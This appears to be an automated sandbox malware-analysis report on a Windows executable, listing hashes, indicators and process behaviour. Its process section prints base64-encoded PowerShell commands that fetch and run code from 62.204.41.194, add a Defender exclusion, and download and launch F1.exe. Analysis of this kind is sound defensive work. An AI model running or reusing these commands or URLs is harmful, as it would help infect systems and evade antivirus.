Analysis
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max time kernel
102s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
27-02-2023 08:29
Static task
static1
Behavioral task
behavioral1
Sample
aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe
Resource
win10v2004-20230220-en
General
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Target
aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe
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Size
35KB
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MD5
90481d2c6fbbe8d4ae6108d756a48d9d
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SHA1
b08f7eafa5b562a09792bc2d4b11837eb82496bc
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SHA256
aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8
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SHA512
884fc809ed957b71467ca7b767a75685223ef6f518d9feba13037a79ec1bd5ee5de97a54afdc77f9c75ec7ecf8669629630d0a1f153805a28dd0c180e92c004f
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SSDEEP
768:L2nQISr0yhamQEj06ggM/y4r/wOPpdwMNhghy0qN:L2nxpyhamQnI4kmTghy0w
Malware Config
Extracted
http://62.204.41.194/go.png
Extracted
http://62.204.41.194/me.png
Extracted
http://62.204.41.194/F1.exe
Signatures
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Blocklisted process makes network request 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exeflow pid process 3 5080 powershell.exe 4 2476 powershell.exe 5 4416 powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 2476 powershell.exe 816 powershell.exe 4416 powershell.exe 5080 powershell.exe 2476 powershell.exe 5080 powershell.exe 4416 powershell.exe 816 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2476 powershell.exe Token: SeDebugPrivilege 816 powershell.exe Token: SeDebugPrivilege 4416 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exedescription pid process target process PID 3660 wrote to memory of 5080 3660 aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe powershell.exe PID 3660 wrote to memory of 5080 3660 aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe powershell.exe PID 3660 wrote to memory of 2476 3660 aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe powershell.exe PID 3660 wrote to memory of 2476 3660 aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe powershell.exe PID 3660 wrote to memory of 4416 3660 aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe powershell.exe PID 3660 wrote to memory of 4416 3660 aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe powershell.exe PID 3660 wrote to memory of 816 3660 aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe powershell.exe PID 3660 wrote to memory of 816 3660 aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe"C:\Users\Admin\AppData\Local\Temp\aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5f1549cc7b079aafe5a84d4589e478849
SHA17b075f7b88d8a2c5d9cd27090a514d60de5bbd4d
SHA2566adfd6fd5b210f2cbf2ca9f3a89a27c937fba828a9c00888c1c3f86c6c4b38d5
SHA5127ff46d7a36ebb1607f923d151e5ae3e17559bc18f5f621be0bbb16365ddcdb255794fe47cfb354cf0f58f6763bc628c1c98df7933f927e20d93dbc2c5519fc20
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5f1549cc7b079aafe5a84d4589e478849
SHA17b075f7b88d8a2c5d9cd27090a514d60de5bbd4d
SHA2566adfd6fd5b210f2cbf2ca9f3a89a27c937fba828a9c00888c1c3f86c6c4b38d5
SHA5127ff46d7a36ebb1607f923d151e5ae3e17559bc18f5f621be0bbb16365ddcdb255794fe47cfb354cf0f58f6763bc628c1c98df7933f927e20d93dbc2c5519fc20
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
160B
MD5e555de093175ed9e3c819fe6787169b4
SHA1968357646e81155668be2428f0a06cc1b858d461
SHA2569548a9eb173b2082520cb3220de05e3b638f4dbd9585b3cf504e0fea004d28fd
SHA51263cd8227cbd1e1a1ea5e965fb1ae754a7a9d44a36c998f65fc49301e55f3ef891ebab848017611a3f6726c5e725f7c8aa000d6d5cee8fda9538f1238e3af74e6
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqnrjebo.eey.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/816-180-0x000001B376350000-0x000001B376360000-memory.dmpFilesize
64KB
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memory/2476-150-0x000001FC54B30000-0x000001FC54B52000-memory.dmpFilesize
136KB
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memory/2476-190-0x000001FC54B70000-0x000001FC54B80000-memory.dmpFilesize
64KB
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memory/2476-181-0x000001FC54B70000-0x000001FC54B80000-memory.dmpFilesize
64KB
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memory/2476-138-0x000001FC54B70000-0x000001FC54B80000-memory.dmpFilesize
64KB
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memory/2476-137-0x000001FC54B70000-0x000001FC54B80000-memory.dmpFilesize
64KB
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memory/2476-185-0x000001FC54B70000-0x000001FC54B80000-memory.dmpFilesize
64KB
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memory/2476-186-0x000001FC54B70000-0x000001FC54B80000-memory.dmpFilesize
64KB
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memory/3660-133-0x00000000000D0000-0x00000000000E0000-memory.dmpFilesize
64KB
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memory/4416-140-0x0000022D1D8B0000-0x0000022D1D8C0000-memory.dmpFilesize
64KB
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memory/4416-139-0x0000022D1D8B0000-0x0000022D1D8C0000-memory.dmpFilesize
64KB
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memory/4416-187-0x0000022D1D8B0000-0x0000022D1D8C0000-memory.dmpFilesize
64KB
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memory/4416-188-0x0000022D1D8B0000-0x0000022D1D8C0000-memory.dmpFilesize
64KB
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memory/5080-183-0x00000210B75F0000-0x00000210B7600000-memory.dmpFilesize
64KB
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memory/5080-189-0x00000210B75F0000-0x00000210B7600000-memory.dmpFilesize
64KB
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memory/5080-184-0x00000210B75F0000-0x00000210B7600000-memory.dmpFilesize
64KB
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memory/5080-182-0x00000210B75F0000-0x00000210B7600000-memory.dmpFilesize
64KB
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memory/5080-136-0x00000210B75F0000-0x00000210B7600000-memory.dmpFilesize
64KB
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memory/5080-135-0x00000210B75F0000-0x00000210B7600000-memory.dmpFilesize
64KB